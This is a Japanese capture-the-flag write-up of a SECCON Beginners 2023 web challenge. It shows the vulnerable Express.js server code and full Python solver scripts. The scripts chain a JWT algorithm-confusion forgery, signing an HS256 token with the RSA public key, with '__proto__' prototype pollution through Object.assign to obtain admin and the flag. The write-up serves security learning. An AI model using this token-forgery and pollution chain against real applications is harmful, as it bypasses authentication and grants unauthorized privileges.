Source: SECCON Beginners CTF 2023
Author: yuasa
/register
と/flag
のみが存在するアプリ。sessionとjwtの両方で認証を実装している。
index.js
const express = require("express");
const session = require("express-session");
const jwt = require("jsonwebtoken");
const _ = require("lodash");
const { readKeyFromFile, generateRandomString, getAdminPassword } = require("./utils");
const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;
const app = express();
app.use(express.json());
app.use(session({
secret: generateRandomString(),
resave: false,
saveUninitialized: true,
cookie: { secure: false }
}));
app.post("/register", (req, res) => {
const { username, password } = req.body;
if(!username || !password) {
res.status(400).json({ error: "Please send username and password" });
return;
}
const user = {
username: username,
password: password
};
if (username === "admin" && password === getAdminPassword()) {
user.admin = true;
}
req.session.user = user;
let signed;
try {
signed = jwt.sign(
_.omit(user, ["password"]),
readKeyFromFile("keys/private.key"),
{ algorithm: "RS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
res.header("Authorization", signed);
res.json({ message: "ok" });
});
app.post("/flag", (req, res) => {
if (!req.header("Authorization")) {
res.status(400).json({ error: "No JWT Token" });
return;
}
if (!req.session.user) {
res.status(401).json({ error: "No User Found" });
return;
}
let verified;
try {
verified = jwt.verify(
req.header("Authorization"),
readKeyFromFile("keys/public.key"),
{ algorithms: ["RS256", "HS256"] }
);
} catch (err) {
console.error(err);
res.status(401).json({ error: "Invalid Token" });
return;
}
if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
verified = _.omit(verified, ["admin"]);
}
const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);
if (token.admin && user.admin) {
res.send(`Congratulations! Here"s your flag: ${FLAG}`);
return;
}
res.send("No flag for you");
});
app.listen(PORT, HOST, () => {
console.log(`Server is running on port ${PORT}`);
});
/register
ではRS256でjwtを生成しているが、/flag
ではRS256の他にHS256での検証も許容している。public.key
を用いて検証しているため、public.key
が分かれば任意のpayloadを持つHS256の署名を生成して通すことが可能。
app.post("/register", (req, res) => {
// 略
let signed;
try {
signed = jwt.sign(
_.omit(user, ["password"]),
readKeyFromFile("keys/private.key"),
{ algorithm: "RS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
res.header("Authorization", signed);
res.json({ message: "ok" });
});
app.post("/flag", (req, res) => {
// 略
let verified;
try {
verified = jwt.verify(
req.header("Authorization"),
readKeyFromFile("keys/public.key"),
{ algorithms: ["RS256", "HS256"] }
);
} catch (err) {
console.error(err);
res.status(401).json({ error: "Invalid Token" });
return;
}
// 略
});
public.key
が配布されていたのでHS256のjwtを生成して投げてみると、No flag for you
と表示され、jwtの検証はパスすることができた。ちなみに、新しいバージョンのpyjwtでは公開鍵っぽい値でHS256署名をしようとすると怒られてしまうため、ここではバージョン0.2.0を使用している。
import jwt
import requests
base_url = "http://localhost"
public_key = (略)
def generate_jwt():
payload = {
"username": "hoge",
"password": "fuga",
}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(f"jwt: {token}")
return token
def solve():
s = requests.Session()
data = {
"username": "hoge",
"password": "fuga"
}
response = s.post(base_url+"/register", json=data)
if response.status_code != 200:
print(response.text)
return
token = generate_jwt()
headers = {
"Authorization": token
}
response = s.post(base_url+"/flag", headers=headers)
print(response.text)
if __name__ == "__main__":
solve()
続いて、req.user.session.admin
とverified.admin
をいずれもtrueにするにはどうすれば良いかを考える。jwtのpayloadにadmin
を仕込んでもomitされてしまうが、わざわざその後Object.assign
しているのが気になる。
if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
verified = _.omit(verified, ["admin"]);
}
const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);
if (token.admin && user.admin) {
res.send(`Congratulations! Here"s your flag: ${FLAG}`);
return;
}
Object.assign
ではプロパティをコピーしているため、"__proto__": { "admin": true }
などをpayloadに仕込むことでprototype pollutionによってコピー先のadmin
の値を操作できる。
最終的なpayloadはこうなる。
import jwt
import requests
base_url = "http://localhost"
public_key = """-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3NcjHBbKAAhJd6P+TviV
h/WRXtxtKBJLPQYIlmZ/I35WlQLpNXR9Q0YiQLMNW0E3MTHISQlQE5hBF8S2Z2tC
0SmiAMr3QQjaIA3vmefA/CXSp4YjIbKz75Nwzczk7spYiVwEbYoLOpovnl+KB6Tj
XJWCFXvgpL6xYu9Se8msgqVIl+cWANlmPdBuDRvF/7KUboHsdZsn1mL88JoTnk9u
sVp9PP+bpbcFEzwzfS+YkjwUhXFHHNPqsu9eKZZlpkRbl3lZzzxgX4G/bh3BkaCO
wp4Pv1ptk8NJH8N96USDw3Lpgc6wGReoyCBY7Dtg1a3IHNjQQwQg+rd+1yUUfPAe
qa9MbLWr3hYQn+9G4SxTwmWptGJLLjZMzfELtGxiZTHlnifP4nHSNJ8WdGJ63YU9
7LiwkWsE8BVIPi+f/oNIbhhgJzGSD57mkdN0wNloN0I+83/0g2TnVSvkSM5ow/E9
h2w/qaT9LfjtYiZbFFc95lwcaR1nUO/hmZ2okTt7Nh5tlefbvHNSyHMFuvTiEanI
xO2kJIXugy9h9pNAX8jlNHNQWT1WM5HI3t8aMcsucjOT9wTWh7Hl0qxrO4f7f2kP
HODGSRQ/uR9czPYtXP4HPAPUToZ9Xzc5Voj3Q/bzRcAnkKH6fmUOtLPd2XhTDTFl
A5kHBxj92CnlYq6/bQdXDy0CAwEAAQ==
-----END PUBLIC KEY-----
"""
def generate_jwt():
payload = {
"__proto__": {
"admin": True
}
}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(f"jwt: {token}")
return token
def solve():
s = requests.Session()
data = {
"username": "hoge",
"password": "fuga"
}
response = s.post(base_url+"/register", json=data)
if response.status_code != 200:
print(response.text)
return
token = generate_jwt()
headers = {
"Authorization": token
}
response = s.post(base_url+"/flag", headers=headers)
print(response.text)
if __name__ == "__main__":
solve()
flagが得られた。
ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}